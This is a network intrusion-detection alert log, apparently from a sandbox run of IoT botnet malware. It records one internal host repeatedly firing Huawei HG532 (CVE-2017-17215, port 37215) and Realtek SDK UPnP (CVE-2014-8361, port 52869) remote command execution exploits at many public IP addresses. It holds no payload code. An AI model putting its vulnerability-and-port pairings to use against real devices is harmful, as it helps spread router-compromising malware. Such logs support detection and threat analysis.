07/20/24-23:10:52.555606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58662	37215	192.168.2.15	41.254.247.207
07/20/24-23:10:52.555606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52694	37215	192.168.2.15	202.189.249.183
07/20/24-23:10:39.469559	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45784	37215	192.168.2.15	157.238.194.50
07/20/24-23:10:39.615805	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37090	52869	192.168.2.15	44.227.239.111
07/20/24-23:10:56.024592	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48574	37215	192.168.2.15	197.237.231.99
07/20/24-23:10:39.495983	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51542	37215	192.168.2.15	197.210.73.76
07/20/24-23:11:06.686627	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42792	37215	192.168.2.15	145.173.59.252
07/20/24-23:10:41.227867	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60384	37215	192.168.2.15	157.15.133.184
07/20/24-23:10:52.598915	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38404	37215	192.168.2.15	197.165.162.249
07/20/24-23:10:56.046357	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35590	37215	192.168.2.15	197.248.10.173
07/20/24-23:10:41.228259	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38528	37215	192.168.2.15	80.32.231.92
07/20/24-23:10:42.269853	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36970	37215	192.168.2.15	41.112.219.106
07/20/24-23:10:51.967169	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45058	52869	192.168.2.15	36.65.48.163
07/20/24-23:10:49.409236	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58370	37215	192.168.2.15	41.102.112.70
07/20/24-23:10:40.077099	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48858	52869	192.168.2.15	210.2.46.1
07/20/24-23:10:49.425318	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47382	37215	192.168.2.15	197.61.167.100
07/20/24-23:11:03.402557	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49624	37215	192.168.2.15	157.71.208.160
07/20/24-23:10:52.549474	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49404	37215	192.168.2.15	197.149.2.120
07/20/24-23:11:03.343633	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45328	37215	192.168.2.15	157.106.207.157
07/20/24-23:10:56.007995	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37294	37215	192.168.2.15	197.112.33.100
07/20/24-23:10:41.241455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56746	37215	192.168.2.15	197.216.192.26
07/20/24-23:11:06.657863	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44324	37215	192.168.2.15	157.3.196.179
07/20/24-23:10:42.620216	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53590	52869	192.168.2.15	155.186.2.88
07/20/24-23:11:06.646712	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46576	37215	192.168.2.15	201.166.197.193
07/20/24-23:10:42.266162	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39510	37215	192.168.2.15	41.149.117.12
07/20/24-23:10:52.549473	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33364	37215	192.168.2.15	157.237.212.167
07/20/24-23:10:51.899861	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44962	52869	192.168.2.15	74.74.206.232
07/20/24-23:10:42.619468	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38990	52869	192.168.2.15	119.87.220.235
07/20/24-23:11:06.706397	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52490	37215	192.168.2.15	154.155.4.0
07/20/24-23:10:40.652868	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46756	37215	192.168.2.15	41.233.79.117
07/20/24-23:10:52.563890	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47868	37215	192.168.2.15	157.158.41.236
07/20/24-23:10:59.006202	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60616	37215	192.168.2.15	138.154.5.192
07/20/24-23:10:46.810541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40276	37215	192.168.2.15	41.24.221.239
07/20/24-23:10:47.896234	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33652	52869	192.168.2.15	2.190.145.125
07/20/24-23:10:52.061682	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41164	52869	192.168.2.15	190.9.142.126
07/20/24-23:10:52.558618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50846	37215	192.168.2.15	41.239.43.82
07/20/24-23:11:03.365385	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57788	37215	192.168.2.15	89.6.108.50
07/20/24-23:10:41.228607	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44498	37215	192.168.2.15	212.103.36.245
07/20/24-23:10:39.495983	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36400	37215	192.168.2.15	197.37.162.85
07/20/24-23:10:46.865461	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50586	37215	192.168.2.15	157.193.183.76
07/20/24-23:10:42.630640	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41794	52869	192.168.2.15	189.209.128.109
07/20/24-23:10:51.920409	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42544	52869	192.168.2.15	90.25.2.138
07/20/24-23:10:42.253016	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54072	37215	192.168.2.15	41.126.48.213
07/20/24-23:10:52.546429	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59802	37215	192.168.2.15	157.123.190.135
07/20/24-23:10:39.870767	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39006	52869	192.168.2.15	120.127.21.138
07/20/24-23:10:42.273908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40564	37215	192.168.2.15	74.208.48.243
07/20/24-23:10:46.832505	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53432	37215	192.168.2.15	197.205.204.47
07/20/24-23:10:49.342527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41794	37215	192.168.2.15	157.37.171.52
07/20/24-23:10:55.993044	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45500	37215	192.168.2.15	41.47.17.60
07/20/24-23:10:51.970945	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45026	52869	192.168.2.15	200.10.220.119
07/20/24-23:10:56.006442	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41544	37215	192.168.2.15	45.163.34.232
07/20/24-23:10:49.420934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43056	37215	192.168.2.15	197.153.57.179
07/20/24-23:11:06.706527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57998	37215	192.168.2.15	157.81.219.59
07/20/24-23:10:40.608330	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33364	37215	192.168.2.15	157.231.228.120
07/20/24-23:10:39.473095	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41832	37215	192.168.2.15	41.130.29.61
07/20/24-23:11:03.378926	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34180	37215	192.168.2.15	197.171.167.40
07/20/24-23:10:52.569477	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34420	37215	192.168.2.15	147.97.199.44
07/20/24-23:10:52.045896	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60558	52869	192.168.2.15	190.79.37.161
07/20/24-23:10:49.342527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48432	37215	192.168.2.15	41.59.180.251
07/20/24-23:10:45.384123	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38530	52869	192.168.2.15	195.202.70.255
07/20/24-23:10:40.650979	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47314	37215	192.168.2.15	41.200.3.16
07/20/24-23:10:42.280294	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46344	37215	192.168.2.15	41.36.192.103
07/20/24-23:10:42.619454	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44628	52869	192.168.2.15	154.64.3.25
07/20/24-23:10:40.086760	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58502	52869	192.168.2.15	32.52.148.97
07/20/24-23:10:59.057855	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57998	37215	192.168.2.15	197.194.4.69
07/20/24-23:10:56.024382	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48774	37215	192.168.2.15	41.94.215.66
07/20/24-23:10:39.434124	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57580	37215	192.168.2.15	153.137.241.70
07/20/24-23:10:59.067929	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56832	37215	192.168.2.15	157.214.106.14
07/20/24-23:10:52.006529	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56106	52869	192.168.2.15	133.76.164.119
07/20/24-23:10:40.649804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48610	37215	192.168.2.15	41.89.36.24
07/20/24-23:10:42.255257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49322	37215	192.168.2.15	157.154.95.95
07/20/24-23:10:52.021884	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51888	52869	192.168.2.15	185.140.178.36
07/20/24-23:10:42.621600	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48118	52869	192.168.2.15	17.198.192.63
07/20/24-23:10:46.795245	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35728	37215	192.168.2.15	41.118.26.249
07/20/24-23:10:51.915099	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35636	52869	192.168.2.15	66.162.227.137
07/20/24-23:11:06.688603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49514	37215	192.168.2.15	147.15.244.149
07/20/24-23:10:59.028826	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38052	37215	192.168.2.15	197.191.203.98
07/20/24-23:10:51.908570	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46970	52869	192.168.2.15	187.70.196.41
07/20/24-23:10:42.255257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57680	37215	192.168.2.15	41.82.184.104
07/20/24-23:10:51.969869	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54518	52869	192.168.2.15	177.96.215.245
07/20/24-23:10:39.434124	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45790	37215	192.168.2.15	41.106.243.14
07/20/24-23:11:03.378464	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36650	37215	192.168.2.15	213.165.108.246
07/20/24-23:10:40.599066	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44088	37215	192.168.2.15	54.134.33.11
07/20/24-23:10:44.055686	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58016	52869	192.168.2.15	145.210.186.189
07/20/24-23:10:39.474284	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45236	37215	192.168.2.15	41.197.53.118
07/20/24-23:10:51.917508	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51836	52869	192.168.2.15	141.113.230.124
07/20/24-23:10:39.798748	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42266	52869	192.168.2.15	8.126.91.237
07/20/24-23:10:47.796046	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41782	52869	192.168.2.15	86.115.137.64
07/20/24-23:10:41.231186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52666	37215	192.168.2.15	157.33.235.116
07/20/24-23:10:49.380109	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39360	37215	192.168.2.15	197.126.157.245
07/20/24-23:11:06.663147	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40880	37215	192.168.2.15	107.109.242.56
07/20/24-23:10:56.024382	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42280	37215	192.168.2.15	41.231.169.250
07/20/24-23:10:52.564314	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47604	37215	192.168.2.15	41.234.208.153
07/20/24-23:10:51.915099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53102	52869	192.168.2.15	167.80.147.223
07/20/24-23:10:39.068869	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48142	52869	192.168.2.15	114.147.236.150
07/20/24-23:10:45.535980	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38130	52869	192.168.2.15	125.158.123.72
07/20/24-23:10:39.397605	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56016	52869	192.168.2.15	69.210.2.130
07/20/24-23:10:43.447751	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40002	52869	192.168.2.15	223.235.87.4
07/20/24-23:10:59.046417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42318	37215	192.168.2.15	197.190.120.58
07/20/24-23:10:39.073690	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40888	52869	192.168.2.15	175.109.109.84
07/20/24-23:10:52.549473	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54892	37215	192.168.2.15	197.179.191.34
07/20/24-23:10:52.016220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47002	52869	192.168.2.15	60.111.115.239
07/20/24-23:10:59.012071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44582	37215	192.168.2.15	197.159.196.28
07/20/24-23:10:47.963364	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42470	52869	192.168.2.15	18.33.239.61
07/20/24-23:10:42.266163	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54950	37215	192.168.2.15	31.117.210.59
07/20/24-23:10:52.572631	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46848	37215	192.168.2.15	136.9.133.29
07/20/24-23:10:52.581034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46262	37215	192.168.2.15	41.185.85.92
07/20/24-23:10:43.104447	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47516	52869	192.168.2.15	63.97.65.81
07/20/24-23:10:39.479939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43226	37215	192.168.2.15	197.169.40.175
07/20/24-23:10:51.992632	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36776	52869	192.168.2.15	41.19.211.55
07/20/24-23:10:39.145039	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42306	52869	192.168.2.15	72.244.52.162
07/20/24-23:10:47.712896	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60452	52869	192.168.2.15	222.120.170.64
07/20/24-23:11:03.378926	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48338	37215	192.168.2.15	41.206.88.10
07/20/24-23:11:03.396755	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40716	37215	192.168.2.15	197.226.144.165
07/20/24-23:10:42.620129	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43836	52869	192.168.2.15	204.13.73.202
07/20/24-23:11:06.686627	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56184	37215	192.168.2.15	197.171.62.74
07/20/24-23:10:51.899861	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35092	52869	192.168.2.15	191.36.218.84
07/20/24-23:11:03.382352	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51002	37215	192.168.2.15	197.43.141.207
07/20/24-23:10:41.220760	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38648	37215	192.168.2.15	197.216.232.236
07/20/24-23:10:44.618894	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57778	52869	192.168.2.15	222.216.119.91
07/20/24-23:11:03.406798	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55726	37215	192.168.2.15	41.148.32.198
07/20/24-23:10:49.348462	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33832	37215	192.168.2.15	197.158.160.210
07/20/24-23:10:53.215724	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34926	52869	192.168.2.15	48.66.205.87
07/20/24-23:11:06.706397	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60904	37215	192.168.2.15	41.40.108.188
07/20/24-23:10:49.430121	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41616	37215	192.168.2.15	157.135.201.192
07/20/24-23:10:42.262762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59428	37215	192.168.2.15	101.192.211.186
07/20/24-23:10:52.029204	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47918	52869	192.168.2.15	178.162.187.51
07/20/24-23:10:55.999553	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55582	37215	192.168.2.15	197.115.125.213
07/20/24-23:10:42.249913	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52982	37215	192.168.2.15	197.8.92.185
07/20/24-23:10:59.021279	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51432	37215	192.168.2.15	197.14.225.158
07/20/24-23:10:39.478846	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39728	37215	192.168.2.15	197.202.153.125
07/20/24-23:10:59.011093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41808	37215	192.168.2.15	176.192.203.191
07/20/24-23:10:51.995612	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38348	52869	192.168.2.15	79.14.113.77
07/20/24-23:10:51.928255	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51476	52869	192.168.2.15	155.171.90.214
07/20/24-23:10:49.402846	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44152	37215	192.168.2.15	197.110.24.110
07/20/24-23:10:51.992277	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36950	52869	192.168.2.15	111.98.52.15
07/20/24-23:10:39.438135	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54780	37215	192.168.2.15	41.95.41.120
07/20/24-23:10:39.434124	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45984	37215	192.168.2.15	197.197.182.48
07/20/24-23:10:49.398416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39814	37215	192.168.2.15	157.131.11.118
07/20/24-23:11:03.352490	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57358	37215	192.168.2.15	157.221.209.38
07/20/24-23:10:52.546429	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35648	37215	192.168.2.15	96.23.53.208
07/20/24-23:10:46.781965	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48976	37215	192.168.2.15	197.149.238.170
07/20/24-23:10:48.358148	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52220	52869	192.168.2.15	220.171.155.214
07/20/24-23:10:51.940106	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39762	52869	192.168.2.15	123.14.61.21
07/20/24-23:10:39.485535	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55442	37215	192.168.2.15	178.230.194.125
07/20/24-23:10:52.540929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57564	37215	192.168.2.15	83.119.27.3
07/20/24-23:10:39.636519	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58808	52869	192.168.2.15	8.28.61.99
07/20/24-23:10:52.578509	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53374	37215	192.168.2.15	157.226.246.41
07/20/24-23:10:55.995070	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37826	37215	192.168.2.15	207.249.57.69
07/20/24-23:10:48.298335	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60496	52869	192.168.2.15	47.2.9.114
07/20/24-23:10:41.230071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35026	37215	192.168.2.15	197.154.203.233
07/20/24-23:10:51.967169	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42706	52869	192.168.2.15	119.63.35.114
07/20/24-23:10:47.624070	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50210	52869	192.168.2.15	188.92.250.60
07/20/24-23:10:51.902171	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38766	52869	192.168.2.15	106.69.59.16
07/20/24-23:10:41.233111	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50340	37215	192.168.2.15	157.108.50.27
07/20/24-23:11:03.396755	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59700	37215	192.168.2.15	157.33.184.127
07/20/24-23:10:46.832505	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50942	37215	192.168.2.15	197.83.254.57
07/20/24-23:10:40.652868	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50750	37215	192.168.2.15	157.155.184.46
07/20/24-23:10:51.969301	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51708	52869	192.168.2.15	63.181.216.41
07/20/24-23:10:46.809208	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53048	37215	192.168.2.15	206.240.160.72
07/20/24-23:11:03.368250	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45064	37215	192.168.2.15	41.251.91.98
07/20/24-23:10:47.423773	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57222	52869	192.168.2.15	77.15.142.198
07/20/24-23:10:59.029071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34858	37215	192.168.2.15	41.47.138.9
07/20/24-23:10:47.913064	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52392	52869	192.168.2.15	195.72.16.230
07/20/24-23:10:51.906948	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48738	52869	192.168.2.15	63.97.65.81
07/20/24-23:10:44.745358	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55944	52869	192.168.2.15	194.51.38.79
07/20/24-23:10:41.230071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37194	37215	192.168.2.15	41.129.238.186
07/20/24-23:10:43.932768	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59498	52869	192.168.2.15	171.98.191.97
07/20/24-23:10:56.030930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37908	37215	192.168.2.15	157.211.242.101
07/20/24-23:10:46.779706	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45910	37215	192.168.2.15	157.138.33.16
07/20/24-23:10:39.584903	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38600	52869	192.168.2.15	217.58.36.234
07/20/24-23:10:46.817180	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41304	37215	192.168.2.15	91.12.191.106
07/20/24-23:10:41.232384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50842	37215	192.168.2.15	54.103.253.49
07/20/24-23:10:56.011228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43404	37215	192.168.2.15	196.232.84.109
